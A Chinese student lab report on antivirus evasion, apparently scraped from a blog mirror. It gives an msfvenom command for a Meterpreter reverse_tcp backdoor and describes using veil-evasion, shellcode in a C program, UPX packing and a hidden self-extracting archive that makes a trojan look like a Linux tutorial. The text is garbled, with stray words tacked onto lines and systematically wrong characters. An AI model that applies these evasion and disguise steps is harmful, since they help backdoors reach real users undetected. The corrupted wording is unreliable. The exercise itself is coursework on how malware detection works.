<a name="ALL"></a> ##<h1 align = "center">————————CONTENTS————————</h1>html
<a name="1"></a> ###<h1 align = "center">1. 免杀原理与实践说明</h1>linux
###1、实验说明git
任务一:正确使用msf编码器,msfvenom生成如jar之类的其余文件,veil-evasion,本身利用shellcode编程等免杀工具或技巧;(1.5分)算法
任务二:经过组合应用各类技术实现恶意代码免杀(1分)shell
任务三:用另外一电脑实测,在杀软开启的状况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)编程
###2、基础问题回答windows
问:杀软是如何检测出恶意代码的?安全
问:免杀是作什么?网络
问:免杀的基本方法有哪些?tcp
<a name="2"></a> ###<h1 align = "center">2. 使用msf编码器生成后门程序及检测</h1>
一、在《Exp2:后门原理与实践》博客中,咱们生成了一个后门文件。将其放在virscan.org中进行扫描,结果以下图所示:
能够看出,39款杀软中有20款报出了病毒。缘由也可想而知,Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,立刻就会加到特征库里了。
二、使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=xxx LPORT=xxx -f exe > met-encoded10.exe
指令进行屡次编码:
再使用virscan.org进行扫描,结果以下所示:
仍然有19款杀软发现病毒。并无什么卵用。屡次编码以后的后门,仍是会被大多数杀软发现并清理的。
<a name="3"></a> ###<h1 align = "center">3. 使用veil-evasion生成后门程序及检测</h1>
安装veil-evasion的时候遇到了好多麻烦事,网速贼慢,好不容易下载好了,“展开对象”执行了俩小时还没结束,去网上也搜不到相关的缘由和解释,最终仍是拷贝了老师的虚拟机。
一、启动evail-evasion,设置好回连的IP地址和端口号后,生成后门文件:
二、放到virscan.org上扫描一下:
比以前用msf生成的文件报毒率低,但仍是会被杀软检测出来。
<a name="4"></a> ###<h1 align = "center">4. 注入Shellcode并执行</h1> 在《Exp2:后门原理与实践》博客中,一样介绍了生成shellcode的方法,此次咱们利用生成的shellcode编写后门程序,半手工打造恶意软件。
一、生成的shellcode以下图所示:
二、利用shellcode编写一个C语言程序后门,在windows下编译运行后,测试其可用性:
能够看到,成功获取了windows权限。
三、不幸的是,仍是被杀毒软件发现了:
四、扫描发现,仍有20%的杀软可以扫描出来:
五、再进行加壳尝试吧。使用UPX对生成的后门程序加壳:
六、杀软没有发现它,扫描结果也比较乐观:
七、测试仍然可用:
<a name="5"></a> ###<h1 align = "center">5. 实验中遇到的问题及思考</h1>
###1、尝试点其余有趣的?——自解压捆绑木马 随着人们对木马的了解和防范意识的加强,木马设计者们开发出了更多的功能来假装木马,以达到下降用户警觉的目的。经常使用的假装手段有:
在这里,咱们来尝试制做自解压捆绑木马。
一、将要捆绑的文件们放在同一个文件夹下,右击选择“添加到压缩文件”
二、设置压缩参数。起一个有趣的名字,并勾选上“建立自解压格式压缩文件”复选框。
三、切换至“高级”选项卡,点击“自解压选项”,选中“模式”中的“所有隐藏”并肯定。
四、再打开“文本和图标”选项卡,填写“自解压文件窗口标题”和“自解压文件窗口中显示的文本”,并找一个有趣的图标做为这个自解压文件的图标,好比下面这个比较符合“Linux软件教程”气质的图标:
点击肯定按钮。
五、这样一来,咱们就生成了一个看起来很是正经的自解压的压缩文件。
六、放到virscan.org试一下,虽然说仍是会被部分杀软发现,但几率下降了不少~
###2、一样的病毒,不一样的杀软杀出来不同的结果?
在virscan.org上面检测的过程当中,发现虽然上传的是一个文件,但不一样的杀毒软件,扫描结果不尽相同。这是为何呢?扫描出来的结果都是些什么呢?
查阅资料了解到,这是由于不一样的杀毒软件病毒库不彻底相同,杀毒引擎不同,另外,不一样的软件功臣是对病毒、系统漏洞的理解也不尽相同。这就形成了杀软结果的千差万别。
<a name="6"></a> ###<h1 align = "center">5. 实验总结及体会</h1>
<a name="7"></a> ###<h1 align = "center">附:参考资料</h1>